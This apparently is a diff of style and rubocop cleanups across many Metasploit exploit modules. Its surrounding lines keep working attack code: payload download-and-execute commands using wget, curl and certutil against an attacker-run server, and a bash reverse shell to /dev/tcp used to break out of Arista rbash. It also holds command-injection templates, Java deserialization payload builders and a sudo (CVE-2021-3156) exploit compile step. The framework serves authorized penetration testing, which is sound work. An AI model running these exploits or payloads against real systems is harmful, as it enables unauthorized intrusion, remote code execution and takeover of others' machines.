overwrite_path = rand_overwrite_path # the part that is overwritten in memory to construct the full path
|
||||
lib_file_path = "libnss_#{overwrite_path} .so.2" # the full path
|
||||
|
||||
upload_and_compile("#{path}/#{exe_file_name}", exploit_data('CVE-2021-3156', 'exploit.c'), '-lutil')
|
||||
|
||||
@@ -75,7 +75,7 @@ class MetasploitModule < Msf::Exploit::Remote
|
||||
buf = "\x3e\xd1\x01"
|
||||
buf << [4919].pack('N')
|
||||
buf << [0].pack('N')
|
||||
buf << "\x02" + "\x01" # os
|
||||
buf << "\x02\x01" # os
|
||||
buf << [hn.length].pack('N') << hn
|
||||
buf << [user.length].pack('N') << user
|
||||
buf << [0].pack('N')
|
||||
|
||||
@@ -255,7 +255,8 @@ class MetasploitModule < Msf::Exploit::Remote
|
||||
encrypted
|
||||
end
|
||||
|
||||
def create_injection(c, literal = false)
|
||||
# rubocop:disable Naming/MethodParameterName, Style/FormatStringToken
|
||||
def create_injection(c, literal: false)
|
||||
# Template for the command injection
|
||||
# The injection happens at "slave_mac" (read advisory for details)
|
||||
# The payload will have to be padded to exactly 16 bytes to ensure reliability between different OpenSSL versions.
|
||||
@@ -296,18 +297,20 @@ class MetasploitModule < Msf::Exploit::Remote
|
||||
# Here the final payload is created
|
||||
format(template, INJECTION: inject.to_s, PADDING: pad.to_s)
|
||||
end
|
||||
# rubocop:enable Naming/MethodParameterName, Style/FormatStringToken
|
||||
|
||||
def update_len_field(packet, payload_length)
|
||||
new_packet = packet[0..3]
|
||||
new_packet += [payload_length].pack('S>')
|
||||
new_packet += packet[6..-1]
|
||||
new_packet
|
||||
end
|
||||
|
||||
def exec_cmd_file(packet)
|
||||
# This function handles special action of exec
|
||||
# Returns new complete tpdp packet
|
||||
inject = "\'`sh #{@cmd_file}`\'"
|
||||
payload = create_injection(inject, true)
|
||||
payload = create_injection(inject, literal: true)
|
||||
|
||||
ciphertext = aes_encrypt(payload)
|
||||
if !ciphertext
|
||||
@@ -363,7 +366,7 @@ class MetasploitModule < Msf::Exploit::Remote
|
||||
# Command that will download @payload_exe and execute it
|
||||
download_cmd = "wget http://#{srv_host}:#{srv_port}/#{payload_file};chmod +x #{payload_file};./#{payload_file}"
|
||||
|
||||
http_service = 'http://' + srv_host + ':' + srv_port.to_s
|
||||
http_service = "http://#{srv_host}:#{srv_port}"
|
||||
print_status("Starting up our web service on #{http_service} ...")
|
||||
start_service({
|
||||
'Uri' => {
|
||||
@@ -411,7 +414,9 @@ class MetasploitModule < Msf::Exploit::Remote
|
||||
print_status("#{peer} - [0%]=#{' =' * ((percentage * 2 / 10 - 1) - 1)}>#{' -' * (20 - (percentage * 2 / 10))}[100%]")
|
||||
if percentage == 100
|
||||
# a bit of cheating to get the last char done right
|
||||
# rubocop:disable Lint/UselessAssignment
|
||||
index = -2
|
||||
# rubocop:enable Lint/UselessAssignment
|
||||
end
|
||||
# print_status("#{peer} - #{download_cmd[0..index+1]}#{'-' * (download_cmd[index+1..-1].length-1)}")
|
||||
end
|
||||
|
||||
@@ -76,7 +76,7 @@ class MetasploitModule < Msf::Exploit::Remote
|
||||
def on_request_uri(cli, request)
|
||||
|
||||
if datastore['DEBUG_EXPLOIT'] && request.uri =~ %r{/print$*}
|
||||
print_status('[*] ' + request.body)
|
||||
print_status("[*] #{request.body}")
|
||||
send_response(cli, '')
|
||||
return
|
||||
end
|
||||
|
||||
@@ -185,7 +185,7 @@ class MetasploitModule < Msf::Exploit::Remote
|
||||
end
|
||||
print_status("Targeted operating system is: #{os}")
|
||||
|
||||
file_name = '.' + Rex::Text.rand_text_alpha(10) + '.php'
|
||||
file_name = ".#{Rex::Text.rand_text_alpha(10)}.php"
|
||||
case os
|
||||
when /linux/
|
||||
fail_with(Failure::NoTarget, "This module currently doesn't support exploiting Linux targets!")
|
||||
|
||||
@@ -77,7 +77,7 @@ class MetasploitModule < Msf::Exploit::Remote
|
||||
OptInt.new('DELAY', [
|
||||
true,
|
||||
'The delay (s) before stopping and deleting the processor',
|
||||
5 # 2 seems enough in my lab, but set to 5 for safety
|
||||
5 # 2 seems enough in my lab, but set to 5 for safety
|
||||
])
|
||||
],
|
||||
self.class
|
||||
|
||||
@@ -73,7 +73,7 @@ class MetasploitModule < Msf::Exploit::Remote
|
||||
path = normalize_uri(target_uri.path, 'routes')
|
||||
response = send_request_cgi({
|
||||
'method' => 'POST', 'uri' => path,
|
||||
'vars_post' => { 'name' => @rand_name, 'paths' => '/' + @rand_name }
|
||||
'vars_post' => { 'name' => @rand_name, 'paths' => "/#{@rand_name}" }
|
||||
})
|
||||
check_response(response, 201, path, 'creating route')
|
||||
end
|
||||
|
||||
@@ -93,8 +93,8 @@ class MetasploitModule < Msf::Exploit::Remote
|
||||
@http_param = rand_text_alpha(1)
|
||||
end
|
||||
|
||||
CHECK_COMMAND = 'which which'
|
||||
SUCCESS_PATTERN = '/bin/which'
|
||||
CHECK_COMMAND = 'which which'.freeze
|
||||
SUCCESS_PATTERN = '/bin/which'.freeze
|
||||
|
||||
class DetectMethod
|
||||
attr_reader :php_option_enable, :php_option_disable
|
||||
@@ -131,7 +131,9 @@ class MetasploitModule < Msf::Exploit::Remote
|
||||
if qsl_delta.odd?
|
||||
fail_with Failure::Unknown, "Got odd qslDelta, that means the URL encoding gone wrong: path=#{path}, qsl_delta=#{qsl_delta}"
|
||||
end
|
||||
# rubocop:disable Lint/UriEscapeUnescape
|
||||
prefix = cmd.empty? ? '' : "#{@http_param}=#{URI.encode(cmd)}%26"
|
||||
# rubocop:enable Lint/UriEscapeUnescape
|
||||
qsl_prime = qsl - qsl_delta / 2 - prefix.length
|
||||
if qsl_prime < 0
|
||||
fail_with Failure::Unknown, "QSL value too small to fit the command: QSL=#{qsl}, qsl_delta=#{qsl_delta}, prefix (size=#{prefix.size})=#{prefix}"
|
||||
@@ -209,7 +211,6 @@ class MetasploitModule < Msf::Exploit::Remote
|
||||
end
|
||||
|
||||
def set_php_setting(php_setting:, qsl:, customh_length:, cmd: '')
|
||||
res = nil
|
||||
path = "/PHP_VALUE\n#{php_setting}"
|
||||
pos_offset = 34
|
||||
if path.length > pos_offset
|
||||
@@ -321,9 +322,9 @@ class MetasploitModule < Msf::Exploit::Remote
|
||||
path: '/',
|
||||
qsl: @params[:qsl],
|
||||
customh_length: @params[:customh_length],
|
||||
cmd: cleanup_command + ';' + CHECK_COMMAND
|
||||
cmd: "#{cleanup_command};#{CHECK_COMMAND}"
|
||||
)
|
||||
return res if res&.body.include?(SUCCESS_PATTERN)
|
||||
return res if res&.body&.include?(SUCCESS_PATTERN)
|
||||
|
||||
return nil
|
||||
end
|
||||
@@ -426,7 +427,7 @@ class MetasploitModule < Msf::Exploit::Remote
|
||||
|
||||
kill_workers = 'for p in `pidof php-fpm`; do kill -9 $p;done'
|
||||
rm = "rm -f /tmp/#{@filename}"
|
||||
cleanup_cmd = kill_workers + ';' + rm
|
||||
cleanup_cmd = "#{kill_workers};#{rm}"
|
||||
disconnect(client) if client&.conn?
|
||||
print_status("Remove /tmp/#{@filename} and kill workers...")
|
||||
if repeat_operation(:send_cleanup, cleanup_cmd: cleanup_cmd)
|
||||
|
||||
@@ -67,7 +67,7 @@ class MetasploitModule < Msf::Exploit::Remote
|
||||
def exploit
|
||||
uri = target_uri.path
|
||||
print_good('Sending shellcode')
|
||||
res = send_request_cgi({
|
||||
send_request_cgi({
|
||||
'method' => 'GET',
|
||||
'uri' => normalize_uri(uri),
|
||||
'headers' => {
|
||||
|
||||
@@ -232,7 +232,7 @@ class MetasploitModule < Msf::Exploit::Remote
|
||||
# draw up an array of all the cores
|
||||
cores_list = Array.new
|
||||
# get the core names
|
||||
cores_json['status'].keys.each do |core_name|
|
||||
cores_json['status'].each_key do |core_name|
|
||||
cores_list.push(core_name)
|
||||
end
|
||||
|
||||
@@ -257,13 +257,13 @@ class MetasploitModule < Msf::Exploit::Remote
|
||||
core_config_json['config']['queryResponseWriter'].each do |writer_name, writer_config|
|
||||
# The default name is 'velocity' but a queryResponseWriter can have an
|
||||
# arbitrary name. The classname is diagnostic.
|
||||
next unless 'solr.VelocityResponseWriter' == writer_config['class']
|
||||
next unless writer_config['class'] == 'solr.VelocityResponseWriter'
|
||||
|
||||
print_good("Found Velocity Response Writer in use by core '#{core}'")
|
||||
vprint_status("Writer config: #{writer_config}")
|
||||
|
||||
# String 'true' from the remote configuration, not TrueClass
|
||||
if 'true' == writer_config['params.resource.loader.enabled']
|
||||
if writer_config['params.resource.loader.enabled'] == 'true'
|
||||
print_good("params.resource.loader.enabled for core '#{core}' is set to true.")
|
||||
possibly_vulnerable_cores.store(core, writer_name)
|
||||
else
|
||||
@@ -360,10 +360,12 @@ class MetasploitModule < Msf::Exploit::Remote
|
||||
if !@vuln_core[1]
|
||||
response_json = change_response_writer(@vuln_core[0], verb: 'update')
|
||||
|
||||
if response_json.has_key?('errorMessages')
|
||||
if response_json.key?('errorMessages')
|
||||
server_error = response_json['errorMessages'].first['errorMessages']&.first
|
||||
print_error("Error updating config, here's the message from the server: \"#{server_error}\"")
|
||||
# rubocop:disable Lint/UselessAssignment
|
||||
response_json = change_response_writer(@vuln_core[0], verb: 'create')
|
||||
# rubocop:enable Lint/UselessAssignment
|
||||
end
|
||||
end
|
||||
|
||||
|
||||
@@ -9,7 +9,7 @@ class MetasploitModule < Msf::Exploit::Remote
|
||||
include Msf::Exploit::Remote::HttpClient
|
||||
prepend Msf::Exploit::Remote::AutoCheck
|
||||
|
||||
HttpFingerprint = { method: 'GET', uri: '/', pattern: [/vBulletin.version = '5.+'/] }
|
||||
HttpFingerprint = { method: 'GET', uri: '/', pattern: [/vBulletin.version = '5.+'/] }.freeze
|
||||
|
||||
def initialize(info = {})
|
||||
super(
|
||||
|
||||
@@ -9,7 +9,7 @@ class MetasploitModule < Msf::Exploit::Remote
|
||||
include Msf::Exploit::Remote::HttpClient
|
||||
prepend Msf::Exploit::Remote::AutoCheck
|
||||
|
||||
HttpFingerprint = { method: 'GET', uri: '/', pattern: [/vBulletin.version = '5.+'/] }
|
||||
HttpFingerprint = { method: 'GET', uri: '/', pattern: [/vBulletin.version = '5.+'/] }.freeze
|
||||
|
||||
def initialize(info = {})
|
||||
super(
|
||||
|
||||
@@ -140,16 +140,16 @@ class MetasploitModule < Msf::Exploit::Remote
|
||||
get_config: [ 0x1, 0x35 ],
|
||||
upd_clt_pass: [ 0x1, 0xe2 ],
|
||||
upd_central: [ 0x1, 0xae ]
|
||||
}
|
||||
}.freeze
|
||||
|
||||
# packet header is universal for both client and server
|
||||
PKT_HDR = [ 0, 0, 0xff, 0xff ]
|
||||
PKT_HDR = [ 0, 0, 0xff, 0xff ].freeze
|
||||
|
||||
# pkt end marker (client only, server responses do not have it)
|
||||
PKT_END = [ 0xff, 0xff ]
|
||||
PKT_END = [ 0xff, 0xff ].freeze
|
||||
|
||||
# empty auth object, used for operations that do not require auth
|
||||
AUTH_OBJ_EMPTY = [ 5, 3, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00 ]
|
||||
AUTH_OBJ_EMPTY = [ 5, 3, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00 ].freeze
|
||||
|
||||
# This is actually the client version number
|
||||
# 0x6949200 = 110400000 in decimal, or version 11.4
|
||||
@@ -164,7 +164,7 @@ class MetasploitModule < Msf::Exploit::Remote
|
||||
#
|
||||
# If something doesn't work, try using one of the values above, but bear in mind this module
|
||||
# was tested on 10.2.2 and 11.4,
|
||||
VERSION = [ 0x03, 0x04, 0xca, 0xce, 0x80 ]
|
||||
VERSION = [ 0x03, 0x04, 0xca, 0xce, 0x80 ].freeze
|
||||
## Packet structure end
|
||||
|
||||
## Network primitives start
|
||||
@@ -184,7 +184,7 @@ class MetasploitModule < Msf::Exploit::Remote
|
||||
|
||||
# write array to socket and get result
|
||||
# wait should also be implemented in msf
|
||||
def sock_rw(sock, msg, ignore = false, wait = 0)
|
||||
def sock_rw(sock, msg, ignore: false, wait: 0)
|
||||
sock.write(msg.pack('C*'))
|
||||
if !ignore
|
||||
sleep(wait)
|
||||
@@ -246,7 +246,6 @@ class MetasploitModule < Msf::Exploit::Remote
|
||||
arr.shift(PKT_HDR.length)
|
||||
if arr[0] == 5
|
||||
# this is an object, get the type (1 byte) plus the object bytes (9 bytes)
|
||||
obj = Array.new
|
||||
obj = arr[0..9]
|
||||
obj
|
||||
end
|
||||
@@ -274,6 +273,7 @@ class MetasploitModule < Msf::Exploit::Remote
|
||||
arr = [ 0xf ] # binary type 0xf
|
||||
arr += pack_sz(data.length) # 2 byte size
|
||||
arr += datapack(data) # ... and add the data
|
||||
arr
|
||||
end
|
||||
|
||||
def get_str(data)
|
||||
@@ -304,16 +304,16 @@ class MetasploitModule < Msf::Exploit::Remote
|
||||
end
|
||||
end
|
||||
|
||||
def update_auth(auth_method, restore = false)
|
||||
def update_auth(auth_method, restore: false)
|
||||
# first byte of data is ignored, so add an extra space
|
||||
if restore
|
||||
srv_config = " IntegratedSecurityMode=#{auth_method}"
|
||||
else
|
||||
# To enable CAM server authentication over SSL, the CAM server certificate has to be previously
|
||||
# imported into the server. Since we can't do this, disable SSL in the fake CAM.
|
||||
srv_config = " IntegratedSecurityMode=#{auth_method}\n" +
|
||||
"ServerCAMURI=http://#{srvhost}:#{srvport}\n" +
|
||||
"ServerCAMURIRetryAttempts=10\nServerCAMIPVersion=ipv4\n" +
|
||||
srv_config = " IntegratedSecurityMode=#{auth_method}\n" \
|
||||
"ServerCAMURI=http://#{srvhost}:#{srvport}\n" \
|
||||
"ServerCAMURIRetryAttempts=10\nServerCAMIPVersion=ipv4\n" \
|
||||
"CAMUseSSL=F\n"
|
||||
end
|
||||
|
||||
@@ -391,9 +391,9 @@ class MetasploitModule < Msf::Exploit::Remote
|
||||
|
||||
def restore_auth(app, auth_current)
|
||||
print_status("Restoring original authentication method #{auth_current}")
|
||||
upd_cent = update_auth(auth_current, true)
|
||||
upd_cent = update_auth(auth_current, restore: true)
|
||||
s = get_socket(app[2], app[3], app[5])
|
||||
sock_rw(s, upd_cent, true)
|
||||
sock_rw(s, upd_cent, ignore: true)
|
||||
s.close
|
||||
end
|
||||
|
||||
@@ -460,13 +460,13 @@ class MetasploitModule < Msf::Exploit::Remote
|
||||
port = get_str(data)
|
||||
|
||||
# mtt maybe? don't care
|
||||
mtt = get_str(data)
|
||||
_mtt = get_str(data)
|
||||
|
||||
# not sure, and don't care
|
||||
unknown = get_str(data)
|
||||
_unknown = get_str(data)
|
||||
|
||||
# localhost addresses? again don't care
|
||||
unknown_addr = get_str(data)
|
||||
_unknown_addr = get_str(data)
|
||||
|
||||
# I think this is the accepting clients flag
|
||||
accepts = get_str(data)
|
||||
@@ -550,7 +550,7 @@ class MetasploitModule < Msf::Exploit::Remote
|
||||
print_status('Changing authentication method to 4 (CAM auth)')
|
||||
upd_cent = update_auth(4)
|
||||
s = get_socket(app[2], app[3], app[5])
|
||||
sock_rw(s, upd_cent, true)
|
||||
sock_rw(s, upd_cent, ignore: true)
|
||||
s.close
|
||||
|
||||
# Step 5: send the CAM auth request and obtain the authentication object
|
||||
@@ -583,7 +583,7 @@ class MetasploitModule < Msf::Exploit::Remote
|
||||
res_auth = ''
|
||||
while (counter < datastore['AUTH_ATTEMPTS'])
|
||||
# send the authenticate request, but wait a bit so that our fake CAM server can respond
|
||||
res_auth = sock_rw(s, auth_dist, false, 0.5)
|
||||
res_auth = sock_rw(s, auth_dist, ignore: false, wait: 0.5)
|
||||
if res_auth.length < 20
|
||||
print_error("Failed to authenticate on attempt number #{counter}, trying again...")
|
||||
counter += 1
|
||||
@@ -614,12 +614,12 @@ class MetasploitModule < Msf::Exploit::Remote
|
||||
if target['Platform'] == 'win'
|
||||
# the Windows command has to be split amongst two lines; the & char cannot be used to execute two processes in one line
|
||||
exe_name += '.exe'
|
||||
exe_name = 'C:\\Windows\\Temp\\' + exe_name
|
||||
exe_name = "C:\\Windows\\Temp\\#{exe_name}"
|
||||
cmd_one = "certutil.exe -urlcache -split -f #{payload_url} #{exe_name}"
|
||||
cmd_two = exe_name
|
||||
else
|
||||
# the Linux one can actually be done in one line, but let's make them similar
|
||||
exe_name = '/tmp/' + exe_name
|
||||
exe_name = "/tmp/#{exe_name}"
|
||||
cmd_one = "curl #{payload_url} -o #{exe_name};"
|
||||
cmd_two = "chmod +x #{exe_name}; exec #{exe_name}"
|
||||
end
|
||||
@@ -649,7 +649,7 @@ class MetasploitModule < Msf::Exploit::Remote
|
||||
|
||||
# Step 9: execute the Process!
|
||||
print_status("Now let's execute the Process object!")
|
||||
sock_rw(s, pkt_build(MSG_TYPES[:proc_exec], [], proc_obj + [ 0x7 ] + [ 0 ] * 4), true)
|
||||
sock_rw(s, pkt_build(MSG_TYPES[:proc_exec], [], proc_obj + [ 0x7 ] + [ 0 ] * 4), ignore: true)
|
||||
s.close
|
||||
|
||||
# Step 10: restore the auth method and enjoy the shell!
|
||||
|
||||
@@ -123,6 +123,7 @@ class MetasploitModule < Msf::Exploit::Remote
|
||||
sock.get_once
|
||||
end
|
||||
|
||||
# rubocop:disable Metrics/MethodLength
|
||||
def build_payload_obj(payload_data)
|
||||
payload_obj = 'aced' # STREAM_MAGIC
|
||||
payload_obj << '0005' # STREAM_VERSION
|
||||
@@ -455,6 +456,7 @@ class MetasploitModule < Msf::Exploit::Remote
|
||||
payload_obj << '00'
|
||||
payload_obj << '7870' # TC_ENDBLOCKDATA, TC_NULL
|
||||
end
|
||||
# rubocop:enable Metrics/MethodLength
|
||||
|
||||
def change_handle?
|
||||
@version_no == Gem::Version.new('12.1.3.0.0')
|
||||
|
||||
@@ -115,6 +115,7 @@ class MetasploitModule < Msf::Exploit::Remote
|
||||
end
|
||||
|
||||
def create_java_str(payload)
|
||||
# rubocop:disable Style/StringConcatenation
|
||||
(
|
||||
"\xac\xed" + # STREAM_MAGIC
|
||||
"\x00\x05" + # STREAM_VERSION
|
||||
@@ -122,6 +123,7 @@ class MetasploitModule < Msf::Exploit::Remote
|
||||
[payload.length].pack('n') + # length
|
||||
payload
|
||||
).force_encoding('ascii') # is this needed in msf?
|
||||
# rubocop:enable Style/StringConcatenation
|
||||
end
|
||||
|
||||
def check
|
||||
|
||||
@@ -539,7 +539,7 @@ print = function(arg) {
|
||||
|
||||
pdfpath = datastore['URIPATH'] || get_resource
|
||||
pdfpath += '/' unless pdfpath.end_with? '/'
|
||||
pdfpath += Rex::Text.rand_text_alpha(4..8) + '.pdf'
|
||||
pdfpath += "#{Rex::Text.rand_text_alpha(4..8)}.pdf"
|
||||
|
||||
html = <<~HTML
|
||||
<html>
|
||||
|
||||
@@ -53,6 +53,7 @@ class MetasploitModule < Msf::Exploit::Local
|
||||
]
|
||||
end
|
||||
|
||||
# rubocop:disable Style/ClassVars
|
||||
@@target_file = '/etc/pam.d/login'
|
||||
@@original_content = %q{# login: auth account password session
|
||||
auth optional pam_krb5.so use_kcminit
|
||||
@@ -78,6 +79,7 @@ session required pam_permit.so
|
||||
session required pam_permit.so
|
||||
session optional pam_permit.so
|
||||
}
|
||||
# rubocop:enable Style/ClassVars
|
||||
|
||||
def check
|
||||
version = Gem::Version.new(get_system_version)
|
||||
|
||||
@@ -70,7 +70,9 @@ class MetasploitModule < Msf::Exploit::Remote
|
||||
|
||||
# vDev (HEAD, v4.3-0-g44aff72)
|
||||
# v4.3
|
||||
# rubocop:disable Lint/MixedRegexpCaptureTypes
|
||||
%r{<b>Web Interface Version\s*</b>\s*(vDev \(HEAD, )?v?(?<version>[\d.]+)\)?.*<b>}m =~ res.body
|
||||
# rubocop:enable Lint/MixedRegexpCaptureTypes
|
||||
|
||||
if version && Gem::Version.new(version) <= Gem::Version.new('4.3.2')
|
||||
vprint_good("Version Detected: #{version}")
|
||||
|
||||
@@ -129,7 +129,9 @@ class MetasploitModule < Msf::Exploit::Remote
|
||||
|
||||
# vDev (HEAD, v3.2.1-0-g31dddd8-dirty)
|
||||
# v3.2.1
|
||||
# rubocop:disable Lint/MixedRegexpCaptureTypes
|
||||
%r{<b>Web Interface Version\s*</b>\s*(vDev \(HEAD, )?v?(?<version>[\d.]+)\)?.*<b>}m =~ res.body
|
||||
# rubocop:enable Lint/MixedRegexpCaptureTypes
|
||||
|
||||
if version && Gem::Version.new(version) < Gem::Version.new('3.3')
|
||||
vprint_good("Version Detected: #{version}")
|
||||
|
||||
@@ -75,7 +75,7 @@ class MetasploitModule < Msf::Exploit::Remote
|
||||
'vars_get' => {
|
||||
'cmd' => 'iptest.cgi',
|
||||
'-time' => Time.now.to_i,
|
||||
'-url' => '$(' + cmd + ')'
|
||||
'-url' => "$(#{cmd})"
|
||||
}
|
||||
)
|
||||
|
||||
|
||||
@@ -174,7 +174,7 @@ class MetasploitModule < Msf::Exploit::Remote
|
||||
print_good('Spawned into arista rbash shell.')
|
||||
|
||||
cha.on_data do |_xx, data2|
|
||||
if data2.include? '#' && !payload_executed
|
||||
if data2.include?('#') && !payload_executed
|
||||
print_status('Attempting to break out of Arista rbash...')
|
||||
channel.send_data("show run | grep '' | sudo bash -c 'bash -i >& /dev/tcp/#{lhost}/#{lport} 0>&1 2>&1 &'\n")
|
||||
payload_executed = true
|
||||
|
||||
@@ -119,6 +119,7 @@ class MetasploitModule < Msf::Exploit::Remote
|
||||
return nil
|
||||
end
|
||||
print_good("#{peer} - Identified OpenMediaVault version #{version}.")
|
||||
|
||||
version_gemmed = Gem::Version.new(version)
|
||||
if version_gemmed < Gem::Version.new('3.0.1')
|
||||
return version
|
||||
@@ -129,8 +130,6 @@ class MetasploitModule < Msf::Exploit::Remote
|
||||
else
|
||||
return nil
|
||||
end
|
||||
|
||||
return version
|
||||
end
|
||||
|
||||
def execute_command(cmd, _opts = {})
|
||||
|
||||
@@ -94,9 +94,9 @@ class MetasploitModule < Msf::Exploit::Remote
|
||||
'vars_post' => {
|
||||
'modname' => 'scheduling/MassSchedule.php',
|
||||
'modfunc' => 'save',
|
||||
'day_start' => rand_text_numeric(1, bad = '0'),
|
||||
'month_start' => rand_text_numeric(1, bad = '0'),
|
||||
'year_start' => rand_text_numeric(4, bad = '0')
|
||||
'day_start' => rand_text_numeric(1, '0'),
|
||||
'month_start' => rand_text_numeric(1, '0'),
|
||||
'year_start' => rand_text_numeric(4, '0')
|
||||
}
|
||||
})
|
||||
|
||||
|
||||
@@ -88,14 +88,14 @@ class MetasploitModule < Msf::Exploit::Remote
|
||||
|
||||
if res1 && res1.body.include?(testcontent)
|
||||
send_request_cgi(
|
||||
opts = {
|
||||
{
|
||||
'uri' => normalize_uri(target_uri.path, "admin/#{testfile}.jsp"),
|
||||
'headers' => {
|
||||
'Authorization' => basic_auth(datastore['USERNAME'], datastore['PASSWORD'])
|
||||
},
|
||||
'method' => 'DELETE'
|
||||
},
|
||||
timeout = 1
|
||||
1
|
||||
)
|
||||
return Exploit::CheckCode::Vulnerable
|
||||
end
|
||||
|
||||
@@ -53,7 +53,7 @@ class MetasploitModule < Msf::Exploit::Remote
|
||||
end
|
||||
|
||||
def inject_php(cmd)
|
||||
encode_char = ->(char) { '%' + char.ord.to_s(16).rjust(2, '0') }
|
||||
encode_char = ->(char) { "%#{char.ord.to_s(16).rjust(2, '0')}" }
|
||||
payload = "',0,\"\",1,\"0\")%3b#{cmd.gsub(/[;\s]/, &encode_char)}%3b//\""
|
||||
res = send_request_cgi(
|
||||
'method' => 'GET',
|
||||
|
||||
@@ -356,10 +356,10 @@ class MetasploitModule < Msf::Exploit::Remote
|
||||
print_status('Trying to determine DNN Version...')
|
||||
# Check for copyright version in /Documentation/license.txt
|
||||
uri = %r{^(.*[\\/])}.match(target_uri.path)[0]
|
||||
vprint_status("Checking version at #{normalize_uri(uri + 'Documentation', 'License.txt')} ...")
|
||||
vprint_status("Checking version at #{normalize_uri("#{uri}Documentation", 'License.txt')} ...")
|
||||
res = send_request_cgi(
|
||||
'method' => 'GET',
|
||||
'uri' => normalize_uri(uri + 'Documentation', 'License.txt')
|
||||
'uri' => normalize_uri("#{uri}Documentation", 'License.txt')
|
||||
)
|
||||
year = -1
|
||||
if res && res.code == 200
|
||||
@@ -447,10 +447,10 @@ Try setting target 4 and supply a file of of verification codes or specifiy vali
|
||||
print_search_status(i, elapsed, total_keys)
|
||||
print_line
|
||||
if @target_idx == 4
|
||||
print_good('Possible Base Key Value Found: ' + key)
|
||||
print_good("Possible Base Key Value Found: #{key}")
|
||||
else
|
||||
print_good('KEY Found: ' + key)
|
||||
print_good('IV Found: ' + @passphrase[8..-1])
|
||||
print_good("KEY Found: #{key}")
|
||||
print_good("IV Found: #{@passphrase[8..-1]}")
|
||||
end
|
||||
vprint_status(format('Total number of Keys tried: %<n_tried>d', n_tried: i))
|
||||
vprint_status(format('Time to crack: %<c_time>.3f seconds', c_time: elapsed.to_s))
|
||||
|
||||
@@ -304,7 +304,7 @@ class MetasploitModule < Msf::Exploit::Remote
|
||||
unless res && res.code == 200 && res.body.exclude?(file)
|
||||
print_error("Failed to delete #{file}.")
|
||||
print_warning("Manual cleanup of #{file} is required.")
|
||||
return
|
||||
next
|
||||
end
|
||||
|
||||
print_good("Successfully deleted #{file}")
|
||||
|
||||
@@ -70,7 +70,7 @@ class MetasploitModule < Msf::Exploit::Remote
|
||||
return CheckCode::Unknown('Did not receive an HTTP 200 OK response') unless res&.code == 200
|
||||
|
||||
compiler_errors = extract_compiler_errors(res)
|
||||
return CheckCode::Unknown('No compiler errors were reported') unless compiler_errors&.length > 0
|
||||
return CheckCode::Unknown('No compiler errors were reported') unless compiler_errors&.length&.> 0
|
||||
|
||||
# once patched you get a specific compiler error message about the type name
|
||||
return CheckCode::Safe if compiler_errors[0].to_s =~ /is not a valid language-independent type name/
|
||||
@@ -83,7 +83,7 @@ class MetasploitModule < Msf::Exploit::Remote
|
||||
|
||||
xml_doc = res.get_xml_document
|
||||
result = xml_doc.search('//*[local-name()=\'ValidateWorkflowMarkupAndCreateSupportObjectsResult\']').text
|
||||
return nil if result.length == 0
|
||||
return nil if result.empty?
|
||||
|
||||
xml_result = Nokogiri::XML(result)
|
||||
xml_result.xpath('//CompilerError/@Text')
|
||||
@@ -103,7 +103,9 @@ class MetasploitModule < Msf::Exploit::Remote
|
||||
|
||||
def escape_command(cmd)
|
||||
# a bunch of characters have to be escaped, so use a whitelist of those that are allowed and escape the rest as unicode
|
||||
# rubocop:disable Style/FormatString
|
||||
cmd.gsub(/([^a-zA-Z0-9 $:;\-.=\[\]{}()])/) { |x| '\\u%.4x' % x.unpack('C*')[0] }
|
||||
# rubocop:enable Style/FormatString
|
||||
end
|
||||
|
||||
def execute_command(cmd, _opts = {})
|
||||
|
||||
@@ -84,7 +84,7 @@ class MetasploitModule < Msf::Exploit::Remote
|
||||
end
|
||||
|
||||
def dest_file_basename
|
||||
@dest_file_name = @dest_file_name || datastore['FILE_NAME'] || Rex::Text.rand_text_alphanumeric(rand(4..35)) + '.dll'
|
||||
@dest_file_name = @dest_file_name || datastore['FILE_NAME'] || "#{Rex::Text.rand_text_alphanumeric(rand(4..35))}.dll"
|
||||
end
|
||||
|
||||
def check
|
||||
@@ -189,7 +189,7 @@ class MetasploitModule < Msf::Exploit::Remote
|
||||
}
|
||||
)
|
||||
fail_with(Failure::UnexpectedReply, 'The upload failed') unless res&.code == 200
|
||||
metadata = JSON.parse(decrypt(res.get_json_document.dig('metaData')).force_encoding('UTF-16LE'))
|
||||
metadata = JSON.parse(decrypt(res.get_json_document['metaData']).force_encoding('UTF-16LE'))
|
||||
dest_path = "#{datastore['DESTINATION'].chomp('\\')}\\#{metadata['TempFileName']}"
|
||||
print_good("Uploaded #{file_contents.length} bytes to: #{dest_path}")
|
||||
register_file_for_cleanup(dest_path)
|
||||
@@ -199,7 +199,7 @@ class MetasploitModule < Msf::Exploit::Remote
|
||||
metadata = { 'TotalChunks' => 1, 'ChunkIndex' => 0, 'TotalFileSize' => 1, 'UploadID' => dest_file_basename }
|
||||
|
||||
post_data = Rex::MIME::Message.new
|
||||
post_data.add_part(encrypt(serialized_object.to_json.encode('UTF-16LE')) + '&' + encrypt(serialized_object_type.encode('UTF-16LE')), nil, nil, 'form-data; name="rauPostData"')
|
||||
post_data.add_part("#{encrypt(serialized_object.to_json.encode('UTF-16LE'))}&#{encrypt(serialized_object_type.encode('UTF-16LE'))}", nil, nil, 'form-data; name="rauPostData"')
|
||||
post_data.add_part(file_contents, 'application/octet-stream', 'binary', "form-data; name=\"file\"; filename=\"#{dest_file_basename}\"")
|
||||
post_data.add_part(dest_file_basename, nil, nil, 'form-data; name="fileName"')
|
||||
post_data.add_part('application/octet-stream', nil, nil, 'form-data; name="contentType"')
|
||||
|
||||
@@ -229,8 +229,8 @@ class MetasploitModule < Msf::Exploit::Local
|
||||
end
|
||||
|
||||
# Upload phonebook file
|
||||
phonebook_name = datastore['PHONEBOOK_NAME'] || Rex::Text.rand_text_alpha(6..13) + '.pbk'
|
||||
upload_phonebook_pathname = session.sys.config.getenv('TEMP') + '\\' + phonebook_name
|
||||
phonebook_name = datastore['PHONEBOOK_NAME'] || "#{Rex::Text.rand_text_alpha(6..13)}.pbk"
|
||||
upload_phonebook_pathname = "#{session.sys.config.getenv('TEMP')}\\#{phonebook_name}"
|
||||
launch_rasdialer(upload_phonebook_pathname)
|
||||
register_file_for_cleanup(upload_phonebook_pathname)
|
||||
vprint_status("Checking on #{target_payload_pathname}")
|
||||
@@ -274,8 +274,8 @@ class MetasploitModule < Msf::Exploit::Local
|
||||
|
||||
# set up variables
|
||||
temp_dir = session.sys.config.getenv('TEMP')
|
||||
exploit_dir = datastore['EXPLOIT_DIR'] || temp_dir + '\\' + Rex::Text.rand_text_alpha(6..13)
|
||||
